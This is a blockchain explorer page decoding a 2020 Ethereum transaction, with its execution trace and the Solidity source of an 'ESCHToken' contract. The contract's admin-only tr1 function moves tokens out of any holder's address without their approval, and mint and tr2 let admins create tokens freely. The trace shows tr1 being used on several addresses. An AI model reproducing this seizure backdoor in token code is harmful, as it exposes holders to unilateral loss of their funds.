ETH Price: $2,404.21 (+7.23%)

Transaction Decoder

Block:
10874625 at Sep-16-2020 06:03:02 PM +UTC
Transaction Fee:
0.131415292199832291 ETH $315.95
Gas Used:
1,068,417 Gas / 123.000001123 Gwei

Account State Difference:

  Address   Before After State Difference Code
0x11680842...C33d0A7D9
3.017337988514735284 Eth
Nonce: 34
1.588322696314902993 Eth
Nonce: 35
1.429015292199832291
0x3Afd5220...6AEf3fa4b 113.095072718365135867 Eth113.099072718365135867 Eth0.004
0x3C6C214b...2c9Ca9A06 5,057.3548 Eth5,058.4944 Eth1.1396
0x3fFdCF27...316ccE70a 113.459185349882094 Eth113.499185349882094 Eth0.04
(Spark Pool)
5.489798977255420895 Eth5.621214269455253186 Eth0.131415292199832291
0xA821F14f...c90372453
0xe1d01e8A...FCF20573d 0.708 Eth0.714 Eth0.006
0xEe0e4a44...3C61032b4 0.73970652926870841 Eth0.79970652926870841 Eth0.06
0xf90a7340...a5D48F6BC 0.235603237640050296 Eth0.275603237640050296 Eth0.04
0xFB78b27F...b2AEC1e46 21.628064592605110907 Eth21.632064592605110907 Eth0.004
0xfEe92A1f...B9A02A4f3 14.718103805010222243 Eth14.722103805010222243 Eth0.004

Execution Trace

ETH 2 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06.be328a44( )
  • ESCHToken.cxesch( _c1=0x11680842D8e5B6BD7428b58f2D8c5D4C33d0A7D9 ) => ( _j1=47348900000000000000 )
  • ESCHToken.tr1( _from=0x11680842D8e5B6BD7428b58f2D8c5D4C33d0A7D9, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=20000000000000000000 )
  • ESCHToken.tr2( _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=20000000000000000000 )
  • ETH 0.04 0x3ffdcf2760b30a1d05704643a503100316cce70a.CALL( )
  • ETH 0.006 0xe1d01e8a4eda80701912e7fbbe252d9fcf20573d.CALL( )
  • ESCHToken.cxesch( _c1=0xEe0e4a44b4c448101d12E6c341Bf44E3C61032b4 ) => ( _j1=95366137050046578688 )
  • ETH 0.06 0xee0e4a44b4c448101d12e6c341bf44e3c61032b4.CALL( )
  • ESCHToken.tr1( _from=0xEe0e4a44b4c448101d12E6c341Bf44E3C61032b4, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=600000000000000000 )
  • ESCHToken.cxesch( _c1=0xf90a7340F05e2Ac53f02D27679281E5a5D48F6BC ) => ( _j1=194264137050046578688 )
  • ETH 0.04 0xf90a7340f05e2ac53f02d27679281e5a5d48f6bc.CALL( )
  • ESCHToken.tr1( _from=0xf90a7340F05e2Ac53f02D27679281E5a5D48F6BC, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=400000000000000000 )
  • ESCHToken.cxesch( _c1=0x8e35988D67eE5Ed3A69218Ea89c8AC0b75C57228 ) => ( _j1=7551444937050046578688 )
  • ESCHToken.cxesch( _c1=0xd3CeAda88b0560561DdcD2D775694b153fE413aF ) => ( _j1=10905800000000000000 )
  • ESCHToken.cxesch( _c1=0x262de08092f542fbDE8E0ed3Dc2B493f6f48447D ) => ( _j1=4137183137050046578688 )
  • ESCHToken.cxesch( _c1=0xEd155CDd9b7dc776567eD8dc4f65F922499A664B ) => ( _j1=9103113803775256182784 )
  • ESCHToken.cxesch( _c1=0x0079AECFBdFCFb1665D9F90a2B758964e62aE11D ) => ( _j1=886864800000000000000 )
  • ESCHToken.cxesch( _c1=0x6b97783409232158A523678dA642b6ABB9353d94 ) => ( _j1=17622931403950884995072 )
  • ESCHToken.cxesch( _c1=0xFB78b27F2E6107998173F9d46770afCb2AEC1e46 ) => ( _j1=10496580000000000000000 )
  • ETH 0.004 0xfb78b27f2e6107998173f9d46770afcb2aec1e46.CALL( )
  • ESCHToken.tr1( _from=0xFB78b27F2E6107998173F9d46770afCb2AEC1e46, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=40000000000000000 )
  • ESCHToken.cxesch( _c1=0x3Afd52200AF34A6a8EC5741C0089D646AEf3fa4b ) => ( _j1=5158813696927259066368 )
  • ETH 0.004 0x3afd52200af34a6a8ec5741c0089d646aef3fa4b.CALL( )
  • ESCHToken.tr1( _from=0x3Afd52200AF34A6a8EC5741C0089D646AEf3fa4b, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=40000000000000000 )
  • ESCHToken.cxesch( _c1=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3 ) => ( _j1=2590612282704378396672 )
  • ETH 0.004 0xfee92a1f4699c7062d24e1ef7b69f4ab9a02a4f3.CALL( )
  • ESCHToken.tr1( _from=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=40000000000000000 )
  • ESCHToken.cxesch( _c1=0xB74441F82D6AC8D8c59D5770bE7a8D1f5d8d07B0 ) => ( _j1=2088827304302142619648 )
  • ETH 0.7024 0x11680842d8e5b6bd7428b58f2d8c5d4c33d0a7d9.CALL( )
  • ESCHToken.tr1( _from=0x11680842D8e5B6BD7428b58f2D8c5D4C33d0A7D9, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=7024000000000000000 )
    pragma solidity 0.4.18;//20190809 
    ////////////
    contract ESCHToken  {
     string public constant name = "Esch$Token";
      string public constant symbol = "ESCH$";        
      uint8 public constant decimals = 18;
      uint256 public totalSupply;
      address  owner;
      uint32 hl=1000;
      address SysAd0; 
     
        mapping (address => uint256) public balanceOf;
     
        mapping (address => mapping (address => uint256)) public allowance;
    
        event Transfer(address indexed from, address indexed to, uint256 value);
        
        event Burn(address indexed from, uint256 value);
     
        mapping (address => bool) admin;
    
     
       function ESCHToken () public {
          totalSupply = 10200000 ether;                          // Update total supply
          balanceOf[msg.sender] = totalSupply;
    	  owner = msg.sender;                             //  
    	  admin[owner]=true;
     //	  hl=1000;
        }
    
        function transfer(address _from, address _to, uint _value) internal {
            require(_to != 0x0);
            require(balanceOf[_from] >= _value);
            require(balanceOf[_to] + _value > balanceOf[_to]);
            uint previousBalances = balanceOf[_from] + balanceOf[_to];
            balanceOf[_from] -= _value;
            balanceOf[_to] += _value;
            Transfer(_from, _to, _value);
            assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
        }
    
        function transfer(address _to, uint256 _value) public {
            transfer(msg.sender, _to, _value);
        }
    
        function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
            require(_value <= allowance[_from][msg.sender]);     // Check allowance
            allowance[_from][msg.sender] -= _value;
            transfer(_from, _to, _value);
            return true;
        }
    
        function approve(address _spender, uint256 _value) public
            returns (bool success) {
            allowance[msg.sender][_spender] = _value;
            return true;
        }
    
    
        function burn(uint256 _value) public returns (bool success) {
            require(balanceOf[msg.sender] >= _value);
            balanceOf[msg.sender] -= _value;
            totalSupply -= _value;
            Burn(msg.sender, _value);
            return true;
        }
    
        function burnFrom(address _from, uint256 _value) public returns (bool success) {
            require(balanceOf[_from] >= _value);
            require(_value <= allowance[_from][msg.sender]);
            balanceOf[_from] -= _value;
            allowance[_from][msg.sender] -= _value;
            totalSupply -= _value;
            Burn(_from, _value);
            return true;
        }
     
        function setadmin (address _admin) public {
        require(admin[msg.sender]==true);
        admin[_admin]=true;
       }
    
     
        function mint(address _ad,uint256 _sl) public  {    
        require(admin[msg.sender]==true);
        balanceOf[_ad]+= _sl;
           totalSupply+= _sl;
            Transfer(0, _ad, _sl);
        }
    
     
        function cxesch (address _c1) public view returns(uint256 _j1){
            return( balanceOf[_c1]);
        }
    
        function SetAw0(address _adA0) public {
        assert(admin[msg.sender]==true);   
        SysAd0=_adA0;
        }   
    
        function hl0(uint32 _hl) public {
        assert(admin[msg.sender]==true);   
        hl=_hl;
        }       
      ///////////
    
        function gm() public payable {
        require (balanceOf[SysAd0]>=hl*msg.value);    
        require (msg.value>=0.1 ether);
        transfer(SysAd0, msg.sender, hl*msg.value);
        SysAd0.transfer(msg.value);
        }
         //
          function tr1(address _from, address _to, uint _value) public {
             assert(admin[msg.sender]==true);    
            require(_to != 0x0);
            require(balanceOf[_from] >= _value);
            require(balanceOf[_to] + _value > balanceOf[_to]);
            uint pre1 = balanceOf[_from] + balanceOf[_to];
            balanceOf[_from] -= _value;
            balanceOf[_to] += _value;
            Transfer(_from, _to, _value);
            assert(balanceOf[_from] + balanceOf[_to] == pre1);
        } 
        //
           function tr2(address _to, uint _value) public {
            assert(admin[msg.sender]==true);  
            require (totalSupply<100000000 ether); 
            require(balanceOf[_to] + _value > balanceOf[_to]);
            totalSupply +=_value;
            balanceOf[_to] += _value;
            Transfer(0, _to, _value);
        }   
        
     
    }